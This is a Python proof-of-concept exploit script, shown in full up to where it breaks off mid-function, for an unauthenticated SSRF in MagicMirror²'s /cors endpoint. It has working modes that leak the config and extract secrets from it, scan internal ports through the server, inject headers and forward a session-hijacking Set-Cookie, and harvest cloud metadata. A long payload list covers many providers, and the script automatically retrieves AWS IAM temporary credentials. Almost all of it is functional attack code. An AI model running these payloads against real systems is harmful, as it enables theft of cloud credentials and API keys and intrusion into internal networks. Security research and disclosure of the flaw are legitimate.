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| #!/usr/bin/env python3
import sys
import json
import argparse
import urllib.request
import urllib.error
import urllib.parse
from concurrent.futures import ThreadPoolExecutor, as_completed
R = "\033[91m"; G = "\033[92m"; Y = "\033[93m"
C = "\033[96m"; B = "\033[1m"; X = "\033[0m"
W = "\033[97m"
BANNER = f"""{W}{B}
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██████╗ ██████╗ █████╗ ██╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ╚════██╗ ╚════██╗ ██╔══██╗ ███║
██║ ██║ ██║█████╗ -2026- ███████║ █████╔╝ █████╔╝ ╚█████╔╝ ╚██║
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ██╔═══╝ ██╔═══╝ ██╔══██╗ ██║
╚██████╗ ╚████╔╝ ███████╗ ██║ ███████╗ ███████╗ ╚█████╔╝ ██║
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚══════╝ ╚══════╝ ╚════╝ ╚═╝
{X}
{Y}MagicMirror² <= v2.35.0 — Unauthenticated SSRF via /cors endpoint{X}
{Y}Author: Astaruf | https://nstsec.com{X}
"""
SERVICES = {
21: "FTP", 22: "SSH", 23: "Telnet", 25: "SMTP", 53: "DNS",
80: "HTTP", 443: "HTTPS", 1433: "MSSQL", 2375: "Docker API (!)",
2376: "Docker TLS API (!)", 3000: "Grafana/Node", 3306: "MySQL",
4243: "Docker", 5000: "Flask/Registry", 5432: "PostgreSQL",
5672: "RabbitMQ", 6379: "Redis (!)", 7001: "WebLogic",
8000: "HTTP-alt", 8080: "HTTP-alt", 8443: "HTTPS-alt",
8888: "Jupyter (!)", 9000: "Portainer/PHP-FPM", 9090: "Prometheus",
9200: "Elasticsearch (!)", 9300: "Elasticsearch", 27017: "MongoDB (!)"
}
DEFAULT_PORTS = sorted(SERVICES.keys())
def ssrf_fetch(proxy_base, url, inject_headers=None, timeout=2.0):
endpoint = f"{proxy_base}?url={url}"
if inject_headers:
h = ",".join(f"{k}:{urllib.parse.quote(str(v))}" for k, v in inject_headers.items())
endpoint = f"{proxy_base}?sendheaders={h}&url={url}"
try:
with urllib.request.urlopen(endpoint, timeout=timeout) as r:
body = r.read().decode("utf-8", errors="replace")
try:
if "error" in json.loads(body):
return None, None
except Exception:
pass
return r.status, body
except urllib.error.HTTPError as e:
return e.code, None
except Exception:
return None, None
def section(title):
print(f"\n{B}{C} {title}{X}")
def hit(msg): print(f" {G}{B}[+]{X} {msg}")
def info(msg): print(f" {C}[*]{X} {msg}")
def warn(msg): print(f" {Y}[!]{X} {msg}")
def fail(msg): print(f" {R}[-]{X} {msg}")
def req(url): print(f" {Y}>> GET {url}{X}")
def resp(body): print(f" {G}<< {body[:120].strip()}{X}")
def _get_proxy(args):
return f"{args.scheme}://{args.host}:{args.port}/cors"
def _inline_check(proxy, args):
base = f"{args.scheme}://{args.host}:{args.port}"
info("Verifying target reachability ...")
try:
with urllib.request.urlopen(f"{base}/version", timeout=3) as r:
version = r.read().decode().strip()
hit(f"Target reachable, MagicMirror {B}{version}{X}")
except Exception as e:
fail(f"Cannot reach target: {e}")
sys.exit(1)
loopback = f"http://127.0.0.1:{args.port}/version"
info("Confirming SSRF via loopback ...")
req(f"{args.base}/cors?url={loopback}")
status, body = ssrf_fetch(proxy, loopback, timeout=3)
if body and body.strip():
hit(f"SSRF {B}{R}CONFIRMED{X}, server fetched internal resource on our behalf")
resp(body.strip())
else:
fail("SSRF not exploitable, endpoint may be patched or unreachable")
sys.exit(1)
def check(args):
section("CHECK, Target reachability and SSRF confirmation")
proxy = _get_proxy(args)
_inline_check(proxy, args)
return proxy
def exfil_config(proxy, args):
section("CONFIG EXFILTRATION, Full config via SSRF loopback")
_inline_check(proxy, args)
url = f"http://127.0.0.1:{args.port}/config"
info("Fetching /config through the SSRF proxy ...")
req(f"{args.base}/cors?url={url}")
_, body = ssrf_fetch(proxy, url)
if not body:
warn("Could not retrieve config")
return
try:
cfg = json.loads(body)
except Exception:
warn("Response is not valid JSON")
return
hit(f"Config retrieved, {len(body)} bytes")
info(f"address : {cfg.get('address')}")
info(f"port : {cfg.get('port')}")
whitelist = cfg.get("ipWhitelist", [])
info(f"ipWhitelist: {whitelist if whitelist else f'{R}{B}[] open to all IPs{X}'}")
secrets = []
for mod in cfg.get("modules", []):
name = mod.get("module", "?")
conf = mod.get("config", {})
_hunt(name, conf, secrets)
if secrets:
print(f"\n {R}{B}SECRETS FOUND:{X}")
for module, key, val in secrets:
print(f" {B}[{module}]{X} {key} = {R}{B}{val}{X}")
else:
warn("No secrets in default config (add weather/calendar API keys to see them)")
if args.verbose:
print(f"\n{C}{json.dumps(cfg, indent=2)}{X}")
def _hunt(name, obj, out, path=""):
if not isinstance(obj, dict):
return
keywords = {"key", "token", "secret", "password", "pass", "apikey", "auth", "credential"}
for k, v in obj.items():
full = f"{path}.{k}" if path else k
if any(kw in k.lower() for kw in keywords) and isinstance(v, (str, int)) and v:
out.append((name, full, v))
elif isinstance(v, dict):
_hunt(name, v, out, full)
elif isinstance(v, list):
for i, item in enumerate(v):
_hunt(name, item, out, f"{full}[{i}]")
def port_scan(proxy, args):
section("PORT SCAN, Internal network enumeration via SSRF")
_inline_check(proxy, args)
hosts = [h.strip() for h in args.port_scan.split(",")]
ports = _parse_ports(args.ports)
port_label = "all 65535" if args.ports == "-" else str(len(ports))
total = len(hosts) * len(ports)
info(f"Scanning {len(hosts)} host(s) x {port_label} port(s) = {total} probes [threads={args.threads}]")
info(f"Hosts : {', '.join(hosts)}")
info(f"Ports : {port_label}")
tasks = [(h, p) for h in hosts for p in ports]
open_ports = []
with ThreadPoolExecutor(max_workers=args.threads) as ex:
futures = {ex.submit(_probe, proxy, h, p, args.timeout): (h, p) for h, p in tasks}
for fut in as_completed(futures):
result = fut.result()
if result:
open_ports.append(result)
h, p, snippet = result
svc = SERVICES.get(p, "unknown")
marker = f"{R}{B}(!){X}" if p in (2375, 6379, 8888, 9200, 27017) else ""
print(f" {G}{B}OPEN{X} {B}{h}:{p}{X} [{svc}] {marker} {snippet[:60]}")
print()
if open_ports:
hit(f"{len(open_ports)} open port(s) found across {len(hosts)} host(s)")
else:
warn("No open ports found (isolated environment or all filtered)")
def _probe(proxy, host, port, timeout):
_, body = ssrf_fetch(proxy, f"http://{host}:{port}/", timeout=timeout)
if body is not None:
return (host, port, body.replace("\n", " ").strip())
return None
def _parse_ports(spec):
if spec.strip() == "-":
return list(range(0, 65536))
ports = []
for part in spec.split(","):
part = part.strip()
if "-" in part:
a, b = part.split("-", 1)
ports.extend(range(int(a), int(b) + 1))
else:
ports.append(int(part))
return sorted(set(ports))
def header_injection(proxy, args):
section("HEADER INJECTION, Outbound and inbound header abuse")
_inline_check(proxy, args)
info("Part A: injecting arbitrary headers into outbound requests via sendheaders")
info("Using a public echo service to confirm the headers are sent by the server.\n")
injected = {"X-Injected-By": "SSRF-PoC", "Authorization": "Bearer DEMO_TOKEN"}
url = "https://httpbin.org/headers"
req(f"{args.base}/cors?sendheaders=X-Injected-By:SSRF-PoC,Authorization:Bearer%20DEMO_TOKEN&url={url}")
_, body = ssrf_fetch(proxy, url, inject_headers=injected, timeout=5)
if body:
try:
data = json.loads(body)
seen = data.get("headers", {})
for k in injected:
if k in seen:
hit(f"Header {B}{k}: {seen[k]}{X} confirmed in outbound request")
else:
warn(f"Header {k} not found in echo response")
except Exception:
hit(f"Response received ({len(body)} bytes), headers likely injected")
resp(body)
else:
warn("Could not reach echo service (no internet access?)")
print()
info("Part B: forwarding response headers to the browser via expectedheaders")
info("A malicious server can inject Set-Cookie to hijack sessions.\n")
cookie_url = "https://httpbin.org/response-headers?Set-Cookie=session%3Dhijacked%3BHttpOnly"
full_url = f"{args.scheme}://{args.host}:{args.port}/cors?expectedheaders=Set-Cookie&url={cookie_url}"
req(f"{args.base}/cors?expectedheaders=Set-Cookie&url={cookie_url}")
try:
with urllib.request.urlopen(full_url, timeout=5) as r:
cookie_header = r.headers.get("Set-Cookie")
if cookie_header:
hit(f"Response header {B}Set-Cookie{X} forwarded to browser: {R}{B}{cookie_header}{X}")
hit("Browser receives this cookie as if it originated from the MagicMirror domain")
else:
warn("Set-Cookie not found in forwarded headers")
except Exception as e:
warn(f"Could not test response header forwarding: {e}")
def cloud_metadata(proxy, args):
section("CLOUD METADATA, Instance credential and identity theft via SSRF")
_inline_check(proxy, args)
PAYLOADS = [
("AWS", "http://169.254.169.254/latest/meta-data/",
None, "Root metadata index", False),
("AWS", "http://169.254.169.254/latest/meta-data/instance-id",
None, "Instance ID", False),
("AWS", "http://169.254.169.254/latest/meta-data/ami-id",
None, "AMI ID", False),
("AWS", "http://169.254.169.254/latest/meta-data/local-hostname",
None, "Internal hostname", False),
("AWS", "http://169.254.169.254/latest/meta-data/local-ipv4",
None, "Private IP", False),
("AWS", "http://169.254.169.254/latest/meta-data/public-ipv4",
None, "Public IP", False),
("AWS", "http://169.254.169.254/latest/meta-data/public-hostname",
None, "Public hostname", False),
("AWS", "http://169.254.169.254/latest/meta-data/placement/region",
None, "Region", False),
("AWS", "http://169.254.169.254/latest/meta-data/placement/availability-zone",
None, "Availability zone", False),
("AWS", "http://169.254.169.254/latest/meta-data/security-groups",
None, "Security groups", False),
("AWS", "http://169.254.169.254/latest/meta-data/iam/info",
None, "IAM instance profile info", False),
("AWS", "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
None, "IAM role names (enumerate first, then fetch each role)", True),
("AWS", "http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance/",
None, "EC2 instance base credentials (used by SSM/CloudWatch agents, distinct from IAM role)", True),
("AWS", "http://169.254.169.254/latest/user-data",
None, "User-data script (often contains secrets and bootstrap tokens)", True),
("AWS", "http://169.254.169.254/latest/dynamic/instance-identity/document",
None, "Instance identity document (signed JSON, account ID, region, etc.)", False),
("AWS", "http://169.254.169.254/latest/dynamic/instance-identity/signature",
None, "Instance identity signature", False),
("AWS", "http://169.254.169.254/latest/api/token",
None, "IMDSv2 token endpoint (PUT only, 405 confirms IMDSv2 enforced)", False),
("AWS/ECS", "http://169.254.170.2/v2/credentials",
None, "ECS task IAM credentials (if AWS_CONTAINER_CREDENTIALS_RELATIVE_URI is set)", True),
("GCP", "http://metadata.google.internal/computeMetadata/v1/",
{"Metadata-Flavor": "Google"}, "Root metadata index", False),
("GCP", "http://169.254.169.254/computeMetadata/v1/",
{"Metadata-Flavor": "Google"}, "Root metadata (IP fallback)", False),
("GCP", "http://metadata.google.internal/computeMetadata/v1/project/project-id",
{"Metadata-Flavor": "Google"}, "GCP project ID", False),
("GCP", "http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id",
{"Metadata-Flavor": "Google"}, "GCP numeric project ID", False),
("GCP", "http://metadata.google.internal/computeMetadata/v1/instance/name",
{"Metadata-Flavor": "Google"}, "VM instance name", False),
("GCP", "http://metadata.google.internal/computeMetadata/v1/instance/zone",
{"Metadata-Flavor": "Google"}, "Instance zone", False),
("GCP", "http://metadata.google.internal/computeMetadata/v1/instance/hostname",
{"Metadata-Flavor": "Google"}, "Instance hostname", False),
("GCP", "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/0/access-configs/0/external-ip",
{"Metadata-Flavor": "Google"}, "External IP", False),
("GCP", "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/",
{"Metadata-Flavor": "Google"}, "Service account list", False),
("GCP", "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email",
{"Metadata-Flavor": "Google"}, "Default service account email", False),
("GCP", "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes",
{"Metadata-Flavor": "Google"}, "Default service account OAuth2 scopes", False),
("GCP", "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token",
{"Metadata-Flavor": "Google"}, "OAuth2 access token (LIVE credential)", True),
("GCP", "http://metadata.google.internal/computeMetadata/v1/instance/attributes/",
{"Metadata-Flavor": "Google"}, "Instance custom attributes (may contain secrets)", True),
("GCP", "http://metadata.google.internal/computeMetadata/v1/instance/attributes/ssh-keys",
{"Metadata-Flavor": "Google"}, "SSH public keys configured on the instance", False),
("GCP", "http://metadata.google.internal/computeMetadata/v1/instance/attributes/startup-script",
{"Metadata-Flavor": "Google"}, "Startup script (often contains secrets)", True),
("Azure", "http://169.254.169.254/metadata/instance?api-version=2021-02-01",
{"Metadata": "true"}, "Full instance metadata (JSON)", False),
("Azure", "http://169.254.169.254/metadata/instance/compute?api-version=2021-02-01",
{"Metadata": "true"}, "Compute metadata (subscription, resource group, VM name)", False),
("Azure", "http://169.254.169.254/metadata/instance/compute/subscriptionId?api-version=2021-02-01&format=text",
{"Metadata": "true"}, "Azure subscription ID", False),
("Azure", "http://169.254.169.254/metadata/instance/compute/resourceGroupName?api-version=2021-02-01&format=text",
{"Metadata": "true"}, "Resource group name", False),
("Azure", "http://169.254.169.254/metadata/instance/compute/vmId?api-version=2021-02-01&format=text",
{"Metadata": "true"}, "VM unique ID", False),
("Azure", "http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/privateIpAddress?api-version=2021-02-01&format=text",
{"Metadata": "true"}, "Private IP address", False),
("Azure", "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/",
{"Metadata": "true"}, "Managed Identity access token for Azure Resource Manager (LIVE credential)", True),
("Azure", "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net",
{"Metadata": "true"}, "Managed Identity token for Azure Key Vault (LIVE credential)", True),
("Azure", "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://storage.azure.com/",
{"Metadata": "true"}, "Managed Identity token for Azure Storage (LIVE credential)", True),
("Azure", "http://169.254.169.254/metadata/attested/document?api-version=2020-09-01",
{"Metadata": "true"}, "Attested data and instance identity document", False),
("OCI", "http://169.254.169.254/opc/v1/instance/",
None, "OCI instance metadata (v1, no auth)", False),
("OCI", "http://169.254.169.254/opc/v1/instance/id",
None, "OCI instance OCID", False),
("OCI", "http://169.254.169.254/opc/v1/instance/region",
None, "OCI region identifier", False),
("OCI", "http://169.254.169.254/opc/v1/instance/metadata/",
None, "OCI user-defined metadata", True),
("OCI", "http://169.254.169.254/opc/v2/instance/",
{"Authorization": "Bearer Oracle"}, "OCI instance metadata (v2, requires header)", False),
("OCI", "http://169.254.169.254/opc/v1/identity/cert.pem",
None, "OCI instance certificate", False),
("OCI", "http://169.254.169.254/opc/v1/identity/key.pem",
None, "OCI instance private key (!)", True),
("DigitalOcean", "http://169.254.169.254/metadata/v1/",
None, "Root metadata", False),
("DigitalOcean", "http://169.254.169.254/metadata/v1/id",
None, "Droplet ID", False),
("DigitalOcean", "http://169.254.169.254/metadata/v1/hostname",
None, "Hostname", False),
("DigitalOcean", "http://169.254.169.254/metadata/v1/region",
None, "Region slug", False),
("DigitalOcean", "http://169.254.169.254/metadata/v1/interfaces/public/0/ipv4/address",
None, "Public IPv4", False),
("DigitalOcean", "http://169.254.169.254/metadata/v1/user-data",
None, "User-data (often contains secrets)", True),
("Alibaba", "http://100.100.100.200/latest/meta-data/",
None, "Root metadata index (different IP, 100.100.100.200)", False),
("Alibaba", "http://100.100.100.200/latest/meta-data/instance-id",
None, "ECS instance ID", False),
("Alibaba", "http://100.100.100.200/latest/meta-data/hostname",
None, "Hostname", False),
("Alibaba", "http://100.100.100.200/latest/meta-data/region-id",
None, "Region", False),
("Alibaba", "http://100.100.100.200/latest/meta-data/ram/security-credentials/",
None, "RAM role names (then fetch each for STS credentials)", True),
("Alibaba", "http://100.100.100.200/latest/user-data",
None, "User-data script", True),
("Hetzner", "http://169.254.169.254/hetzner/v1/metadata",
None, "Full metadata (YAML)", False),
("Hetzner", "http://169.254.169.254/hetzner/v1/metadata/instance-id",
None, "Instance ID", False),
("Hetzner", "http://169.254.169.254/hetzner/v1/metadata/hostname",
None, "Hostname", False),
("Hetzner", "http://169.254.169.254/hetzner/v1/metadata/region",
None, "Region", False),
("Hetzner", "http://169.254.169.254/hetzner/v1/metadata/user-data",
None, "User-data", True),
("IBM", "http://169.254.169.254/metadata/v1/instance",
{"Metadata-Flavor": "ibm"}, "IBM VPC instance metadata", False),
("IBM", "http://169.254.169.254/latest/meta-data/instance-id",
None, "IBM Classic instance ID (AWS-compatible endpoint)", False),
("K8s", "https://kubernetes.default.svc/api/v1/secrets",
None, "Kubernetes secrets (requires in-cluster service account token)", True),
("K8s", "https://kubernetes.default.svc/api/v1/namespaces/default/secrets",
None, "K8s secrets in default namespace", True),
("K8s", "http://127.0.0.1:10255/pods",
None, "Kubelet read-only API, running pods list (no auth)", False),
("K8s", "http://127.0.0.1:10255/stats/summary",
None, "Kubelet read-only stats", False),
("K8s", "http://127.0.0.1:8001/api/v1/secrets",
None, "kubectl proxy (if running on localhost)", True),
("K8s", "http://127.0.0.1:2376/containers/json",
None, "Docker API, container list (if socket is TCP)", False),
("Rancher", "http://169.254.169.254/2009-04-04/meta-data/",
None, "Rancher metadata (AWS-compatible endpoint)", False),
("Rancher", "http://rancher-metadata/2015-12-19/",
None, "Rancher metadata service (hostname resolution)", False),
("Equinix", "https://metadata.platformequinix.com/metadata",
{"X-Metadata-Token": "fake"}, "Equinix Metal metadata (returns 401/200 to confirm service)", False),
]
providers_hit = {}
aws_role_found = None
for provider, url, headers, desc, sensitive in PAYLOADS:
status, body = ssrf_fetch(proxy, url, inject_headers=headers, timeout=args.timeout)
label = f"[{provider}]"
prefix = f" {B}{C}{label:<14}{X}"
if body and body.strip():
snippet = body.strip().replace("\n", " ")
display = (
f"{R}{B}*** REDACTED, use --verbose to print ***{X}"
if sensitive and not args.verbose
else snippet[:120]
)
print(f"{prefix} {G}{B}HIT{X} {desc}")
print(f" {Y}>>{X} {url}")
print(f" {G}<<{X} {display}")
providers_hit.setdefault(provider, []).append((url, desc, body))
if provider == "AWS" and "security-credentials/" in url and body.strip():
role = body.strip().splitlines()[0]
if role and "/" not in role:
aws_role_found = role
else:
if args.verbose:
print(f"{prefix} {R}miss{X} {desc}, {url}")
if aws_role_found:
cred_url = f"http://169.254.169.254/latest/meta-data/iam/security-credentials/{aws_role_found}"
info(f"Auto-following IAM role: {B}{aws_role_found}{X}")
req(f"{args.base}/cors?url={cred_url}")
_, cred_body = ssrf_fetch(proxy, cred_url, timeout=args.timeout)
if cred_body:
try:
creds = json.loads(cred_body)
print(f"\n {R}{B}AWS TEMPORARY CREDENTIALS RETRIEVED:{X}")
for k in ("AccessKeyId", "SecretAccessKey", "Token", "Expiration"):
if k in creds:
print(f" {B}{k:<20}{X} {R}{B}{creds[k]}{X}")
except Exception:
resp(cred_body)
print()
if providers_hit:
hit(f"Cloud metadata reachable on {len(providers_hit)} provider(s): "
f"{', '.join(providers_hit.keys())}")
for provider, results in providers_hit.items():
sensitive_hits = [(u, d, b) for u, d, b in results
if any(kw in d.lower() for kw in
("token", "credential", "secret", "key", "password",
"user-data", "startup", "pem"))]
if sensitive_hits:
print(f"\n {R}{B}HIGH-VALUE ENDPOINTS ({provider}):{X}")
for u, d, b in sensitive_hits:
print(f" {B}{d}{X}")
print(f" {Y}>> {u}{X}")
if args.verbose:
print(f" {G}<< {b.strip()[:200]}{X}")
else:
warn("No cloud metadata endpoints responded, likely not a cloud instance "
"(or metadata service is firewalled)")
info("Tip: on Raspberry Pi and bare-metal deployments this is expected")
def open_proxy(proxy, args):
section(f"OPEN PROXY, Fetching {args.open_proxy_url} via vulnerable server")
_inline_check(proxy, args)
info(f"Asking the server to fetch: {args.open_proxy_url}")
req(f"{args.base}/cors?url={args.open_proxy_url}")
status, body = ssrf_fetch(proxy, args.open_proxy_url, timeout=args.timeout)
if body is None:
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